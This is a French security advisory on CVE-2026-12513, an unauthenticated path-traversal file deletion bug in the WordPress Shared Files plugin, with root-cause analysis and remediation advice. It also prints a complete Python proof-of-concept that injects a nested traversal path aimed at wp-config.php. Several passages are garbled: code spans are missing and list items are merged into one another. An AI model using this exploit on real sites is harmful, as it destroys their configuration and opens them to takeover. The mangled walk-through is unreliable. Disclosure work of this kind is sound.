
Avis technique et preuve de concept pour CVE-2026-12513, une suppression arbitraire de fichiers non authentifiée via un traversement de chemin dans le plugin WordPress Shared Files, incluant l'analyse de la cause racine et des recommandations de remédiation.
CVE-2026-12513 est une vulnérabilité de suppression arbitraire de fichiers non authentifiée via traversée de chemin affectant les plugins WordPress Shared Files et Shared Files Pro avant la version 1.7.68, découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). La faille se produit dans les routines de traitement des soumissions de fichiers côté frontend du plugin, où les chemins de fichiers fournis par l'utilisateur sont filtrés à l'aide d'un remplacement de motif de traversée en un seul passage, défectueux, qui peut être contourné à l'aide de séquences imbriquées (telles que ). Par conséquent, un attaquant distant non authentifié peut soumettre un chemin manipulé pointant en dehors du répertoire de téléversement prévu pour cibler des actifs serveur critiques, notamment . Lorsqu'un administrateur purge ou supprime définitivement l'entrée téléversée, l'application invoque des primitives de suppression du système de fichiers () sur le chemin arbitraire stocké. Cela entraîne la destruction des fichiers de configuration principaux de WordPress, provoquant un déni de service sévère et permettant la prise de contrôle du site via l'installation non configurée. Le chercheur principal Huynh Kien Minh a évalué cette vulnérabilité avec un score CVSS 3.1 de 6,8 (Moyen) (CWE-73 / CWE-22), recommandant des mises à jour immédiates des plugins vers la version 1.7.68 ou ultérieure et une validation robuste des chemins canoniques.
....//wp-config.phpunlink()Liens rapides : Explorez le Portfolio Cybersécurité officiel du chercheur ou consultez l'Avis vérifié WPScan.
| Paramètre | Spécification technique |
|---|---|
| Identifiant de vulnérabilité | CVE-2026-12513 |
| Logiciel cible | Shared Files / Shared Files Pro (Plugins WordPress) |
| Slugs des plugins | shared-files, shared-files-pro |
| Versions vulnérables | < 1.7.68 |
| Version corrigée | >= 1.7.68 |
| Classe de vulnérabilité | Contrôle externe du nom ou du chemin de fichier / Traversée de chemin (CWE-73 / CWE-22) |
| Score CVSS v3.1 | 6,8 (Moyen) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Découvreur / Chercheur | Huynh Kien Minh (MinhHK) |
| Autorité de vérification | WPScan / MITRE Corporation |
| Référence d'avis WPScan | Rapport WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Portfolio du chercheur | https://minhhk.web.app/ |
La vulnérabilité est ancrée dans un mécanisme inadéquat d'assainissement des chemins implémenté dans les gestionnaires de soumission de fichiers côté frontend dans Shared Files (< 1.7.68).
Lors de l'acceptation des soumissions de fichiers côté frontend, le plugin tentait de supprimer les séquences de traversée de répertoire (../) à l'aide d'un remplacement de chaîne en un seul passage :
// Filtre d'assainissement en un seul passage non sécurisé dans Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Parce que str_replace() s'exécute une seule fois de gauche à droite :
....//....//....//wp-config.php../ est supprimé une fois de ....//, les caractères externes se replient ensemble pour former ../ :
....// -> ../../../../../wp-config.php !wp_posts ou une table personnalisée du plugin)./wp-admin/admin.php?page=shared-files, le backend appelle unlink() sur le chemin stocké résolu :// Logique de suppression vulnérable
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Déclenche la suppression du fichier cible (par ex. /var/www/html/wp-config.php)
}
wp-config.php supprimé :
/wp-admin/install.php).Avertissement éthique : Ce Proof-of-Concept est fourni strictement pour la recherche éducative, la validation défensive et l'audit de sécurité dans le cadre de protocoles de divulgation éthique par Huynh Kien Minh.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 ou supérieure.wp-config.php sont en lecture seule (chmod 400 ou 440) pour le processus du serveur web.Appliquez une résolution stricte des chemins canoniques à l'aide de realpath() et wp_normalize_path() pour garantir que les opérations restent dans la limite du répertoire de téléversement désigné :
// Modèle de validation de chemin sécurisé (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Ensure the resolved realpath strictly starts with the designated base directory
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) est un chercheur en sécurité de l'information spécialisé dans la recherche de vulnérabilités WordPress, les audits de sécurité du noyau et des plugins, et la modélisation défensive des exploits.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}